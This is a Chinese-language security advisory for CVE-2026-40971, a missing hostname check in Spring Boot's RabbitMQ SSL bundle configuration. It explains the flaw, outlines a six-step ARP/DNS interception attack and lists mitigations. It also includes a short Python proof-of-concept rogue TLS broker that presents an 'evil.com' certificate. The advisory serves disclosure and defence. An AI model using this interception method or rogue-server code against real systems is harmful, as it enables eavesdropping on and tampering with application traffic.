IPBUF安全漏洞报告
English
CVE-2026-40971 CVSS 5.0 中危

CVE-2026-40971 Spring Boot RabbitMQ主机名校验缺失漏洞

披露日期: 2026-04-27

漏洞信息

漏洞编号
CVE-2026-40971
漏洞类型
证书验证缺失
CVSS评分
5.0 中危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Spring Boot

相关标签

Spring BootRabbitMQSSL证书验证缺失中间人攻击CVE-2026-40971

漏洞概述

Spring Boot在使用SSL bundle配置RabbitMQ自动连接时存在安全漏洞。该漏洞导致系统未对目标主机名进行严格验证,使得攻击者能够在邻接网络环境下实施中间人攻击。一旦利用成功,攻击者可窃取敏感通信数据或篡改传输内容,对系统的机密性、完整性和可用性造成负面影响。

技术细节

该漏洞源于Spring Boot的RabbitMQ自动配置机制在处理SSL bundle时的逻辑缺陷。当应用通过`spring.rabbitmq.ssl.bundle`属性指定SSL配置时,虽然建立了加密通道,但底层连接工厂未启用主机名验证功能。这意味着在TLS握手阶段,客户端仅检查证书是否由受信任的CA机构签名,而忽略证书中的Common Name (CN)或Subject Alternative Name (SAN)是否与实际请求的RabbitMQ服务器地址匹配。
攻击利用条件为邻接网络访问权限(AV:A)。攻击者可通过ARP欺骗或DNS劫持将流量重定向至恶意服务器。由于缺少主机名校验,只要攻击者提供一份由受信CA签发的合法证书(即使该证书是为其他域名签发的),客户端就会接受连接。这使得攻击者能够解密、查看或修改应用与RabbitMQ代理之间的所有数据流。

攻击链分析

STEP 1
侦察
识别目标Spring Boot应用及其使用的RabbitMQ基础设施。
STEP 2
网络定位
进入目标系统的邻接网络(如同一局域网或云服务提供商网络)。
STEP 3
流量拦截
利用ARP欺骗或DNS投毒技术,将目标应用发往合法RabbitMQ服务器的流量重定向到攻击者控制的服务器。
STEP 4
证书欺骗
攻击者服务器向目标应用出示由受信CA签发但主机名不匹配的SSL证书。
STEP 5
建立连接
由于Spring Boot未进行主机名校验,目标应用接受证书并建立连接。
STEP 6
数据窃取/篡改
攻击者解密流量获取敏感信息,或注入恶意消息到业务逻辑中。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Vulnerable Configuration (application.properties) # Using SSL bundle without manual hostname verification triggers the bug spring.rabbitmq.host=production-rabbitmq.example.com spring.rabbitmq.port=5671 spring.rabbitmq.ssl.bundle=my-app-ssl-bundle # PoC Concept: Attacker setup using Python to simulate a valid broker # Requires a valid CA signed certificate for 'evil.com' import socket, ssl # Attacker listens for connections context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) context.load_cert_chain(certfile="evil.com.pem", keyfile="evil.com.key") bindsocket = socket.socket() bindsocket.bind(('0.0.0.0', 5671)) bindsocket.listen(5) # If the vulnerable client connects, it will not reject the cert # even if the expected host is 'production-rabbitmq.example.com' # because hostname verification is disabled. newsocket, fromaddr = bindsocket.accept() stream = context.wrap_socket(newsocket, server_side=True) print("Connection established (Exploitation Successful)")

影响范围

Spring Boot 4.0.0 到 4.0.5
Spring Boot 3.5.0 到 3.5.13

防御指南

临时缓解措施
如果无法立即升级,建议手动配置`CachingConnectionFactory`以显式启用主机名验证,或者在使用SSL bundle后通过编程方式重新配置SSL上下文以强制执行主机名检查。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表